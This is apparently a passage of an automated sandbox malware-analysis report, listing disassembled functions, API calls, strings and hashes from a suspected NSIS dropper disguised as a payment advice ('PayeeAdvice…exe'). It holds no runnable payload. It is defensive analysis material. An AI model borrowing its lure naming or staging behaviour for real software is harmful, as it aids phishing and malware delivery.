Error writing temporary file. Make sure your temp folder is valid., xrefs: 0040336D
C:\Users\user\AppData\Local\Temp\, xrefs: 00403500, 00403505, 0040351B, 00403527, 00403536, 00403543, 0040354F, 00403557, 0040364C, 00403658, 00403664, 0040366B, 0040371C
~nsu.tmp, xrefs: 00403647
TMP, xrefs: 00403558
\Temp, xrefs: 00403522
C:\Users\user\Desktop, xrefs: 00403652, 00403657, 0040367B
Low, xrefs: 0040353E
C:\Users\user\AppData\Local\foreslaaende, xrefs: 004035FE
SeShutdownPrivilege, xrefs: 0040376F
C:\Users\user\AppData\Local\foreslaaende, xrefs: 004034F0, 004035F3, 00403672, 0040367C

Memory Dump Source

Source File: 00000000.00000002.2664622803.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2664573128.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664665698.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2665086131.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID: File$DirectoryExitHandleProcesslstrcat$CurrentDeleteEnvironmentModulePathTempVariableWindows$AddressCharCloseCommandCopyCreateErrorInfoInitializeLibraryLineLoadModeNextProcUninitializelstrcmpilstrcpyn
String ID: "C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe"$1033$C:\Users\user\AppData\Local\Temp\$C:\Users\user\AppData\Local\foreslaaende$C:\Users\user\AppData\Local\foreslaaende$C:\Users\user\Desktop$C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe$Error launching installer$Error writing temporary file. Make sure your temp folder is valid.$Low$NSIS Error$SeShutdownPrivilege$TEMP$TMP$\Temp$~nsu.tmp
API String ID: 4107622049-1871193868
Opcode ID: 19452a82f84b89d672e287bbd9b4a7210e15b48e73439f139737dd6fa92c6ca7
Instruction ID: adac61535fb2ab45c93a94ea6b46826cba801cc8f349b6914fd9ce0ca4797ca8
Opcode Fuzzy Hash: 19452a82f84b89d672e287bbd9b4a7210e15b48e73439f139737dd6fa92c6ca7
Instruction Fuzzy Hash: 72B1C170904211AAD720BF619D49A3B3EACEB4570AF40453FF542BA2E2D77C9941CB7E

Function 00404B10 Relevance: 63.5, APIs: 33, Strings: 3, Instructions: 481
windowmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetDlgItem.USER32(?,000003F9), ref: 00404B28
GetDlgItem.USER32(?,00000408), ref: 00404B33
GlobalAlloc.KERNEL32(00000040,?), ref: 00404B7D
LoadBitmapW.USER32(0000006E), ref: 00404B90
SetWindowLongW.USER32(?,000000FC,00405108), ref: 00404BA9
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000006,00000000), ref: 00404BBD
ImageList_AddMasked.COMCTL32(00000000,00000000,00FF00FF), ref: 00404BCF
SendMessageW.USER32(?,00001109,00000002), ref: 00404BE5
SendMessageW.USER32(?,0000111C,00000000,00000000), ref: 00404BF1
SendMessageW.USER32(?,0000111B,00000010,00000000), ref: 00404C03
DeleteObject.GDI32(00000000), ref: 00404C06
SendMessageW.USER32(?,00000143,00000000,00000000), ref: 00404C31
SendMessageW.USER32(?,00000151,00000000,00000000), ref: 00404C3D
SendMessageW.USER32(?,00001132,00000000,?), ref: 00404CD3
SendMessageW.USER32(?,0000110A,00000003,00000000), ref: 00404CFE
SendMessageW.USER32(?,00001132,00000000,?), ref: 00404D12
GetWindowLongW.USER32(?,000000F0), ref: 00404D41
SetWindowLongW.USER32(?,000000F0,00000000), ref: 00404D4F
ShowWindow.USER32(?,00000005), ref: 00404D60
SendMessageW.USER32(?,00000419,00000000,?), ref: 00404E5D
SendMessageW.USER32(?,00000147,00000000,00000000), ref: 00404EC2
SendMessageW.USER32(?,00000150,00000000,00000000), ref: 00404ED7
SendMessageW.USER32(?,00000420,00000000,00000020), ref: 00404EFB
SendMessageW.USER32(?,00000200,00000000,00000000), ref: 00404F1B
ImageList_Destroy.COMCTL32(?), ref: 00404F30
GlobalFree.KERNEL32(?), ref: 00404F40
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00404FB9
SendMessageW.USER32(?,00001102,?,?), ref: 00405062
SendMessageW.USER32(?,0000113F,00000000,00000008), ref: 00405071
InvalidateRect.USER32(?,00000000,00000001), ref: 00405091
ShowWindow.USER32(?,00000000), ref: 004050DF
GetDlgItem.USER32(?,000003FE), ref: 004050EA
ShowWindow.USER32(00000000), ref: 004050F1

Strings

, xrefs: 004050C9
M, xrefs: 00404CBA
N, xrefs: 00404D9B

Memory Dump Source

Source File: 00000000.00000002.2664622803.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2664573128.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664665698.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2665086131.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID: MessageSend$Window$ImageItemList_LongShow$Global$AllocBitmapCreateDeleteDestroyFreeInvalidateLoadMaskedObjectRect
String ID: $M$N
API String ID: 1638840714-813528018
Opcode ID: db08064a331c8b710d2bfbefb5f5365b1a6743964771edbed48d05eba51cbb05
Instruction ID: d71a5cbf05b966a5fca8a5aa47d1df2e6c399d67ef135bcf6f64f468dd7cdb7f
Opcode Fuzzy Hash: db08064a331c8b710d2bfbefb5f5365b1a6743964771edbed48d05eba51cbb05
Instruction Fuzzy Hash: 6E027FB0900209EFEB209F54DD85AAE7BB5FB84314F10857AF610BA2E0D7799D52CF58

Function 00405F0C Relevance: 19.5, APIs: 8, Strings: 3, Instructions: 207
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetVersion.KERNEL32(00000000,004216B0,?,004051CB,004216B0,00000000,00000000,00000000), ref: 00405FCF
GetSystemDirectoryW.KERNEL32(Call,00000400), ref: 0040604D
GetWindowsDirectoryW.KERNEL32(Call,00000400), ref: 00406060
SHGetSpecialFolderLocation.SHELL32(?,?), ref: 0040609C
SHGetPathFromIDListW.SHELL32(?,Call), ref: 004060AA
CoTaskMemFree.OLE32(?), ref: 004060B5
lstrcatW.KERNEL32(Call,\Microsoft\Internet Explorer\Quick Launch), ref: 004060D9
lstrlenW.KERNEL32(Call,00000000,004216B0,?,004051CB,004216B0,00000000,00000000,00000000), ref: 00406133

Strings

Software\Microsoft\Windows\CurrentVersion, xrefs: 0040601B
Call, xrefs: 00405F36, 00406016, 00406037, 0040604C, 0040605F, 0040607B, 004060A6, 004060D8, 004060DE, 004060F8, 0040610C, 0040612C, 00406132, 0040613E, 00406171
\Microsoft\Internet Explorer\Quick Launch, xrefs: 004060D3

Memory Dump Source

Source File: 00000000.00000002.2664622803.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2664573128.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664665698.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2665086131.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID: Directory$FolderFreeFromListLocationPathSpecialSystemTaskVersionWindowslstrcatlstrlen
String ID: Call$Software\Microsoft\Windows\CurrentVersion$\Microsoft\Internet Explorer\Quick Launch
API String ID: 900638850-1230650788
Opcode ID: 9fe4ffeb513939a43d7003ef0179ff27352b89f5fe06c0b94729ac98e3d3bc3e
Instruction ID: 201fcfe404e7502d8ff22bbbb8bc1db0d7d07a9235330109bbd625d5d43c8b09
Opcode Fuzzy Hash: 9fe4ffeb513939a43d7003ef0179ff27352b89f5fe06c0b94729ac98e3d3bc3e
Instruction Fuzzy Hash: 93612371A40516EBDB209F24CC44AAF37A5EF00314F51813BE546BA2E0D73D8AA2CB4E

Function 00405772 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 148
filestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DeleteFileW.KERNELBASE(?,?,C:\Users\user\AppData\Local\Temp\,75922EE0,"C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe"), ref: 0040579B
lstrcatW.KERNEL32(004246D8,\*.*,004246D8,?,?,C:\Users\user\AppData\Local\Temp\,75922EE0,"C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe"), ref: 004057E3
lstrcatW.KERNEL32(?,00409014,?,004246D8,?,?,C:\Users\user\AppData\Local\Temp\,75922EE0,"C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe"), ref: 00405806
lstrlenW.KERNEL32(?,?,00409014,?,004246D8,?,?,C:\Users\user\AppData\Local\Temp\,75922EE0,"C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe"), ref: 0040580C
FindFirstFileW.KERNELBASE(004246D8,?,?,?,00409014,?,004246D8,?,?,C:\Users\user\AppData\Local\Temp\,75922EE0,"C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe"), ref: 0040581C
FindNextFileW.KERNEL32(00000000,00000010,000000F2,?,?,?,?,0000002E), ref: 004058BC
FindClose.KERNEL32(00000000), ref: 004058CB

Strings

"C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe", xrefs: 0040577B
\*.*, xrefs: 004057DD
C:\Users\user\AppData\Local\Temp\, xrefs: 00405780

Memory Dump Source

Source File: 00000000.00000002.2664622803.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2664573128.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664665698.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2665086131.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID: FileFind$lstrcat$CloseDeleteFirstNextlstrlen
String ID: "C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe"$C:\Users\user\AppData\Local\Temp\$\*.*
API String ID: 2035342205-3119803337
Opcode ID: 91addf2f7801abc8b01003351af1a773a3a4ecd8c4e6fa2132f7e8029f9d92b7
Instruction ID: 64b0c8684543101156bed993c7ef625b5cb6937b92a1292c702a5556077473ca
Opcode Fuzzy Hash: 91addf2f7801abc8b01003351af1a773a3a4ecd8c4e6fa2132f7e8029f9d92b7
Instruction Fuzzy Hash: 4341B031800914EADF217B619C89ABF7678EF45728F10817BF800B51D1D77C4992DE6E

Function 0040653F Relevance: 5.4, APIs: 4, Instructions: 382COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2664622803.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2664573128.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664665698.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2665086131.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 30143bd0a3c86c84675fe989439f4e854c087b2e65987d853f873e8b3ce332d5
Instruction ID: edf170fb2c3714e597751af3e8fd03d842b3b080db723bf9ee749212abe0df6d
Opcode Fuzzy Hash: 30143bd0a3c86c84675fe989439f4e854c087b2e65987d853f873e8b3ce332d5
Instruction Fuzzy Hash: D3F17771D00229CBCF28CFA8C8946ADBBB1FF44305F25856ED856BB281D7785A96CF44

Function 0040622D Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 14fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNELBASE(?,00425720,00424ED8,00405A86,00424ED8,00424ED8,00000000,00424ED8,00424ED8,?,?,75922EE0,00405792,?,C:\Users\user\AppData\Local\Temp\,75922EE0), ref: 00406238
FindClose.KERNEL32(00000000), ref: 00406244

Strings

WB, xrefs: 0040622E

Memory Dump Source

Source File: 00000000.00000002.2664622803.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2664573128.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664665698.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2665086131.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID: WB
API String ID: 2295610775-2854515933
Opcode ID: 97d8ac7551d2396f11c19c7edcb60b5d9a64dc0e7ee5904d5f336116d8bf08e8
Instruction ID: f398094869b5afba054f99dea52ba5834f85055b19877d8081192ff4b2f0d438
Opcode Fuzzy Hash: 97d8ac7551d2396f11c19c7edcb60b5d9a64dc0e7ee5904d5f336116d8bf08e8
Instruction Fuzzy Hash: DAD012319480209BC21037387E0C85B7A59AB493307524AB7F82AF27E0C738AC6586AD

Function 00406254 Relevance: 4.5, APIs: 3, Instructions: 20libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(?,?,00000020,0040339D,00000008), ref: 00406266
LoadLibraryA.KERNELBASE(?,?,00000020,0040339D,00000008), ref: 00406271
GetProcAddress.KERNEL32(00000000,?), ref: 00406282

Memory Dump Source

Source File: 00000000.00000002.2664622803.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2664573128.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664665698.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2665086131.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID: AddressHandleLibraryLoadModuleProc
String ID:
API String ID: 310444273-0
Opcode ID: fea95c0a25b0bbf4266b289da7fdc3055b6cbcb5f703618f179729d09c13f2c5
Instruction ID: 46d0f10fa6fb29b22d4bf355a321a76136a9e9be6b3571ea53230c25cba9bd22
Opcode Fuzzy Hash: fea95c0a25b0bbf4266b289da7fdc3055b6cbcb5f703618f179729d09c13f2c5
Instruction Fuzzy Hash: 02E0CD36A08120ABC7115B309D44D6773BCAFE9601305053DF505F6240C774AC1297A9

Function 004038B4 Relevance: 49.2, APIs: 15, Strings: 13, Instructions: 216
stringregistrylibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00406254: GetModuleHandleA.KERNEL32(?,?,00000020,0040339D,00000008), ref: 00406266
Part of subcall function 00406254: LoadLibraryA.KERNELBASE(?,?,00000020,0040339D,00000008), ref: 00406271
Part of subcall function 00406254: GetProcAddress.KERNEL32(00000000,?), ref: 00406282

lstrcatW.KERNEL32(1033,004226D0,80000001,Control Panel\Desktop\ResourceLocale,00000000,004226D0,00000000,00000006,C:\Users\user\AppData\Local\Temp\,75923420,00000000,"C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe"), ref: 00403935
lstrlenW.KERNEL32(Call,?,?,?,Call,00000000,C:\Users\user\AppData\Local\foreslaaende,1033,004226D0,80000001,Control Panel\Desktop\ResourceLocale,00000000,004226D0,00000000,00000006,C:\Users\user\AppData\Local\Temp\), ref: 004039B5
lstrcmpiW.KERNEL32(?,.exe,Call,?,?,?,Call,00000000,C:\Users\user\AppData\Local\foreslaaende,1033,004226D0,80000001,Control Panel\Desktop\ResourceLocale,00000000,004226D0,00000000), ref: 004039C8
GetFileAttributesW.KERNEL32(Call), ref: 004039D3
LoadImageW.USER32(00000067,00000001,00000000,00000000,00008040,C:\Users\user\AppData\Local\foreslaaende), ref: 00403A1C

Part of subcall function 00405E31: wsprintfW.USER32 ref: 00405E3E

RegisterClassW.USER32(00428180), ref: 00403A59
SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 00403A71
CreateWindowExW.USER32(00000080,_Nb,00000000,80000000,?,?,?,?,00000000,00000000,00000000), ref: 00403AA6
ShowWindow.USER32(00000005,00000000), ref: 00403ADC
LoadLibraryW.KERNELBASE(RichEd20), ref: 00403AED
LoadLibraryW.KERNEL32(RichEd32), ref: 00403AF8
GetClassInfoW.USER32(00000000,RichEdit20W,00428180), ref: 00403B08
GetClassInfoW.USER32(00000000,RichEdit,00428180), ref: 00403B15
RegisterClassW.USER32(00428180), ref: 00403B1E
DialogBoxParamW.USER32(?,00000000,00403C57,00000000), ref: 00403B3D

Strings

"C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe", xrefs: 004038B7
.DEFAULT\Control Panel\International, xrefs: 00403920
1033, xrefs: 004038D4, 00403930
Call, xrefs: 0040397C, 00403985, 00403993, 004039E2, 004039E8
RichEd20, xrefs: 00403AE8
RichEdit20W, xrefs: 00403B00, 00403B06
_Nb, xrefs: 00403A38, 00403AA0
RichEd32, xrefs: 00403AF3
C:\Users\user\AppData\Local\Temp\, xrefs: 004038C0
.exe, xrefs: 004039C2
RichEdit, xrefs: 00403B0F
Control Panel\Desktop\ResourceLocale, xrefs: 004038E8
C:\Users\user\AppData\Local\foreslaaende, xrefs: 00403944, 0040394C, 004039EF, 004039F5, 00403A05

Memory Dump Source

Source File: 00000000.00000002.2664622803.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2664573128.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664665698.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2665086131.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID: ClassLoad$InfoLibrary$RegisterWindow$AddressAttributesCreateDialogFileHandleImageModuleParamParametersProcShowSystemlstrcatlstrcmpilstrlenwsprintf
String ID: "C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe"$.DEFAULT\Control Panel\International$.exe$1033$C:\Users\user\AppData\Local\Temp\$C:\Users\user\AppData\Local\foreslaaende$Call$Control Panel\Desktop\ResourceLocale$RichEd20$RichEd32$RichEdit$RichEdit20W$_Nb
API String ID: 914957316-2256041598
Opcode ID: 8ef44c221ffc76618c9d3063fdfaa19d9e9f68cd4157665c5f0528a7ad94f78d
Instruction ID: b862c1471ebdc097eb7bd7ac0b5924faedec86185335dcace1f032bfb9465ac2
Opcode Fuzzy Hash: 8ef44c221ffc76618c9d3063fdfaa19d9e9f68cd4157665c5f0528a7ad94f78d
Instruction Fuzzy Hash: 5561B670604201BAE720AF669C46E3B3A6CEB45759F40453FF945B62E2CB786D02CA2D

Function 00403C57 Relevance: 48.3, APIs: 32, Instructions: 345
windowstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000013), ref: 00403C93
ShowWindow.USER32(?), ref: 00403CB0
DestroyWindow.USER32 ref: 00403CC4
SetWindowLongW.USER32(?,00000000,00000000), ref: 00403CE0
GetDlgItem.USER32(?,?), ref: 00403D01
SendMessageW.USER32(00000000,000000F3,00000000,00000000), ref: 00403D15
IsWindowEnabled.USER32(00000000), ref: 00403D1C
GetDlgItem.USER32(?,00000001), ref: 00403DCA
GetDlgItem.USER32(?,00000002), ref: 00403DD4
SetClassLongW.USER32(?,000000F2,?), ref: 00403DEE
SendMessageW.USER32(0000040F,00000000,00000001,?), ref: 00403E3F
GetDlgItem.USER32(?,00000003), ref: 00403EE5
ShowWindow.USER32(00000000,?), ref: 00403F06
KiUserCallbackDispatcher.NTDLL(?,?), ref: 00403F18
EnableWindow.USER32(?,?), ref: 00403F33
GetSystemMenu.USER32(?,00000000,0000F060,00000001), ref: 00403F49
EnableMenuItem.USER32(00000000), ref: 00403F50
SendMessageW.USER32(?,000000F4,00000000,00000001), ref: 00403F68
SendMessageW.USER32(?,00000401,00000002,00000000), ref: 00403F7B
lstrlenW.KERNEL32(004226D0,?,004226D0,004281E0), ref: 00403FA4
SetWindowTextW.USER32(?,004226D0), ref: 00403FB8
ShowWindow.USER32(?,0000000A), ref: 004040EC

Memory Dump Source

Source File: 00000000.00000002.2664622803.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2664573128.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664665698.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2665086131.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID: Window$Item$MessageSend$Show$EnableLongMenu$CallbackClassDestroyDispatcherEnabledSystemTextUserlstrlen
String ID:
API String ID: 3282139019-0
Opcode ID: d3e31c762ced5e7f3f9f31fdb6bfb00df4bf7f17a487b0a05df9e2eacf633d02
Instruction ID: 25e1393ee42f6df426570fd4a537ecf3dcaf9ce603c4882d15cf919a8637c385
Opcode Fuzzy Hash: d3e31c762ced5e7f3f9f31fdb6bfb00df4bf7f17a487b0a05df9e2eacf633d02
Instruction Fuzzy Hash: 2FC1A071A08205BBDB206F61ED49E3B3A68FB89745F40053EF601B15F1CB799852DB2E

Function 00402DBC Relevance: 28.2, APIs: 5, Strings: 11, Instructions: 203
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00402DD0
GetModuleFileNameW.KERNEL32(00000000,C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe,00000400), ref: 00402DEC

Part of subcall function 00405B56: GetFileAttributesW.KERNELBASE(00000003,00402DFF,C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe,80000000,00000003), ref: 00405B5A
Part of subcall function 00405B56: CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000), ref: 00405B7C

GetFileSize.KERNEL32(00000000,00000000,00438000,00000000,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe,C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe,80000000,00000003), ref: 00402E35
GlobalAlloc.KERNELBASE(00000040,00409230), ref: 00402F7C

Strings

"C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe", xrefs: 00402DC5
Inst, xrefs: 00402EA3
v]!, xrefs: 00403041
C:\Users\user\Desktop, xrefs: 00402E17, 00402E1C, 00402E22
Error launching installer, xrefs: 00402E0C
C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe, xrefs: 00402DD6, 00402DE5, 00402DF9, 00402E16
Error writing temporary file. Make sure your temp folder is valid., xrefs: 00402FC5
Null, xrefs: 00402EB5
C:\Users\user\AppData\Local\Temp\, xrefs: 00402DC9, 00402F94
Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author , xrefs: 00403013
soft, xrefs: 00402EAC

Memory Dump Source

Source File: 00000000.00000002.2664622803.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2664573128.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664665698.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2665086131.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID: File$AllocAttributesCountCreateGlobalModuleNameSizeTick
